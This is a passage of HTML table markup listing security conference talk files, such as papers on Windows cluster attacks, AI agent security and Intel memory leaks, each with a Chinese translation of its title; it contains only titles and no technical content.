63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">利用 DNS 进行隐蔽用户追踪</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Ben Gelman&amp;Sean Bergeron_Anomaly Detection Betrayed Us, so We Gave It a New Job Enhancing Command Line Classification with Benign Anomalous Data.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">异常检测的背叛与新生：利用良性异常数据增强命令行分类</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Brendan Dolan-Gavitt_AI Agents for Offsec with Zero False Positives.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">用于进攻性安全且零误报的人工智能代理</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Colin Estep&amp;Dagmawi Mulugeta_Your Traffic Doesn&#39;t Lie Unmasking Supply Chain Attacks via Application Behaviour.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">流量不会说谎：通过应用行为揭示供应链攻击</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">David Brauchler III_When Guardrails Aren&#39;t Enough Reinventing Agentic AI Security With Architectural Controls.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">当护栏不足时：用架构控制重塑代理式人工智能安全</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Deral Heiland&amp;Carlota Bindner_Weaponization of Cellular Based IoT Technology – Leveraging Smart Devices to Gain a Foothold.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">蜂窝物联网技术的武器化——利用智能设备建立据点</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Fengyu Liu&amp;YouKun Shi&amp;Tian Chen&amp;Bocheng Xiang&amp;Junyao He&amp;Qi Li&amp;Guangliang Yang&amp;Yuan Zhang&amp;Min Yang_Detecting Taint-Style Vulnerabilities in Microservice-Structured Web Applications.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">检测微服务架构 Web 应用中的污点类型漏洞</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Garrett Foster_Clustered Points of Failure - Attacking Windows Server Failover Clusters_TOOLS.txt</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">集群故障点 - 攻击 Windows Server 故障转移集群（工具）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Garrett Foster_Clustered Points of Failure - Attacking Windows Server Failover Clusters.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">集群故障点 - 攻击 Windows Server 故障转移集群</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Ibrahim El-sayed_Decoding Signal Understanding the Real Privacy Guarantees of E2EE.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">解码 Signal：理解端到端加密的真实隐私保障</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Ji&#39;an Zhou&amp;Li&#39;shuo Song_Safe Harbor or Hostile Waters Unveiling the Hidden Perils of the TorchScript Engine in PyTorch.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">安全港还是险恶水域？揭示 PyTorch 中 TorchScript 引擎的隐藏危险</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Kaixuan Luo&amp;Xianbo Wang&amp;Adonis Fung&amp;Yanxiang Bi&amp;Wing Cheong Lau_Back to the Future Hacking and Securing Connection-based OAuth Architectures in Agentic AI and Integration Platforms.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">回到未来：在代理式人工智能和集成平台中攻击并保护基于连接的 OAuth 架构</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Koh Nakagawa_XUnprotect Reverse Engineering macOS XProtect Remediator_TOOLS.txt</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">XUnprotect：逆向工程 macOS XProtect Remediator（工具）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Koh Nakagawa_XUnprotect Reverse Engineering macOS XProtect Remediator.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">XUnprotect：逆向工程 macOS XProtect Remediator</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Kyle Avery_Training Specialist Models Automating Malware Development.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">训练专用模型：自动化恶意软件开发</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Marco Casagrande&amp;Daniele Antonioli_E-Trojans Ransomware, Tracking, DoS, and Data Leaks on Xiaomi Electric Scooters_WP.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">电动木马：小米电动滑板车上的勒索软件、追踪、DoS 攻击和数据泄露（白皮书）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Marco Casagrande&amp;Daniele Antonioli_E-Trojans Ransomware, Tracking, DoS, and Data Leaks on Xiaomi Electric Scooters.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">电动木马：小米电动滑板车上的勒索软件、追踪、DoS 攻击和数据泄露</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Marcos Bajo&amp;Christian Rossow_Coroutine Frame-Oriented Programming Breaking Control Flow Integrity by Abusing Modern C++.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">协程帧导向编程：滥用现代 C++ 破坏控制流完整性</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Marius Muench&amp;Sam Collins&amp;Tom Chothia_Watching the Watchers Exploring and Testing Defenses of Anti-Cheat Systems.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">监视监视者：探索和测试反作弊系统的防御机制</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Neophytos Christou&amp;Andreas Kellas_QUACK Hindering Deserialization Attacks via Static Duck Typing.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">QUACK：通过静态鸭子类型阻止反序列化攻击</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Pinji Chen&amp;Jianjun Chen&amp;Qi Wang&amp;Mingming Zhang&amp;Haixin Duan_Cross-Origin Web Attacks via HTTP2 Server Push and Signed HTTP Exchange_WP.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">通过 HTTP/2 服务器推送和签名 HTTP 交换实现的跨源 Web 攻击（白皮书）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Pinji Chen&amp;Jianjun Chen&amp;Qi Wang&amp;Mingming Zhang&amp;Haixin Duan_Cross-Origin Web Attacks via HTTP2 Server Push and Signed HTTP Exchange.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">通过 HTTP/2 服务器推送和签名 HTTP 交换实现的跨源 Web 攻击</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Qibo Shi&amp;Victor V&amp;Wei Xiao&amp;Zhiniang Peng_Diving into Windows HTTP Unveiling Hidden Preauth Vulnerabilities in Windows HTTP Services.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">深入 Windows HTTP：揭示 Windows HTTP 服务中隐藏的预认证漏洞</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Rama Hoetzlein_Protecting Small Organizations in the Era of AI Bots.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">在人工智能机器人时代保护小型组织</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Rebecca Lynch&amp;Rich Harang_From Prompts to Pwns Exploiting and Securing AI Agents.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">从提示到攻陷：利用与保护人工智能代理</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Ryan Barnett&amp;Isabella Barnett_Lost in Translation Exploiting Unicode Normalization.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">迷失于翻译：利用 Unicode 规范化漏洞</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Salvatore Gariuolo_Smart Charging, Smarter Hackers The Unseen Risks of ISO 15118.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">智能充电，更高明的黑客：ISO 15118 的潜在风险</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Sandro Rüegge&amp;Johannes Wikner_Racing for Privilege Leaking Privileged Memory From Any Intel System Using a Microarchitectural Race Condition_TOOLS.txt</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">争夺权限：利用微架构竞态条件从任何英特尔系统泄露特权内存（工具）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Sandro Rüegge&amp;Johannes Wikner_Racing for Privilege Leaking Privileged Memory From Any Intel System Using a Microarchitectural Race Condition_WP.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">争夺权限：利用微架构竞态条件从任何英特尔系统泄露特权内存（白皮书）</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">Sandro Rüegge&amp;Johannes Wikner_Racing for Privilege Leaking Privileged Memory From Any Intel System Using a Microarchitectural Race Condition.pdf</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">争夺权限：利用微架构竞态条件从任何英特尔系统泄露特权内存</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 12.8px;border: 1px solid rgb(223, 223, 223);"><p><span 